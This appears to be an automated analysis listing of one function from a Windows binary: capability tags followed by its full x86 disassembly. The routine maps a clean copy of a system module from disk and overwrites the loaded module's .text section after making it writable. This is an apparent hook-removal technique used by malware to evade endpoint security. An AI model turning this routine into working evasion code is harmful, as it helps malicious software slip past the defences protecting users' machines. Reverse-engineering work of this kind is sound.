Function at 0x4032e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
push ebx
push edi
push esi
mov eax, 0x1144
call fcn.00405a10
mov edi, dword [esp + 0x1158]
mov eax, dword [0x453040]
xor eax, esp
mov dword [esp + 0x1140], eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov ebp, eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x20], 0
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x403570
mov ebx, eax
lea esi, [esp + 0x24]
push 0x1000
push 0
push esi
call fcn.0042a390
add esp, 0xc
jmp 0x40335a
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x403378
mov dword [esp + 4], ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x44d12e
push esi
call ebx
push edi
push esi
call ebx
mov ebx, dword [esp + 4]
jmp 0x4033a4
lea eax, [esp + 0x18]
push 0xc
push eax
push ebx
push ebp
call sub.KERNEL32.dll_K32GetModuleInformation
jmp 0x4033c4
lea eax, [esp + 0x1030]
push 0x110
push 0
push eax
call fcn.0042a390
add esp, 0xc
mov dword [esp + 0x1024], 0x11c
sub esp, 0x10
movaps xmm0, xmmword [0x4451f0]
movups xmmword [esp], xmm0
mov edi, dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
call edi
push 3
push 1
push edx
push eax
call edi
push 3
push 0x20
push edx
push eax
call edi
mov dword [esp + 0x1028], 6
mov dword [esp + 0x102c], 2
mov word [esp + 0x1138], 0
lea ecx, [esp + 0x1024]
push edx
push eax
push 0x23
push ecx
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoW]
test eax, eax
je 0x403591
mov dword [esp + 0x10], ebp
mov edi, dword [esp + 0x18]
sub esp, 0x1c
movaps xmm0, xmmword [0x445200]
movups xmmword [esp + 4], xmm0
mov dword [esp], esi
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x18
movaps xmm0, xmmword [0x445210]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x24], eax
mov dword [esp], eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
sub esp, 0x14
movaps xmm0, xmmword [0x445220]
movups xmmword [esp + 4], xmm0
mov dword [esp + 0x1c], eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [esp + 0x14], eax
mov ebp, dword [edi + 0x3c]
mov dword [esp], edi
cmp word [ebp + edi + 6], 0
je 0x403577
mov eax, dword [esp]
lea ebx, [eax + ebp]
add ebx, 0x18
xor esi, esi
jmp 0x4034f4
inc esi
mov eax, dword [esp]
movzx eax, word [eax + ebp + 6]
add ebx, 0x28
cmp esi, eax
jae 0x403577
mov eax, dword [esp]
movzx edi, word [eax + ebp + 0x14]
add edi, ebx
push str..text
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x4034e0
mov dword [esp + 0x1024], 0
mov eax, dword [edi + 0xc]
add eax, dword [esp]
lea ecx, [esp + 0x1024]
push ecx
push 0x40
push dword [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [edi + 0xc]
mov ecx, dword [esp]
add ecx, eax
add eax, dword [esp + 0x14]
push dword [edi + 8]
push eax
push ecx
call fcn.00429e10
add esp, 0xc
mov eax, dword [edi + 0xc]
add eax, dword [esp]
lea ecx, [esp + 0x1024]
push ecx
push dword [esp + 0x1028]
push dword [edi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
jmp 0x4034e0
mov esi, 0xffffffff
jmp 0x4035a1
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [esp + 0xc]
call esi
push dword [esp + 8]
call esi
mov ebp, dword [esp + 0x10]
mov ebx, dword [esp + 4]
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor esi, esi
mov ecx, dword [esp + 0x1140]
xor ecx, esp
call fcn.0040590a
mov eax, esi
add esp, 0x1144
pop esi
pop edi
pop ebx
pop ebp
ret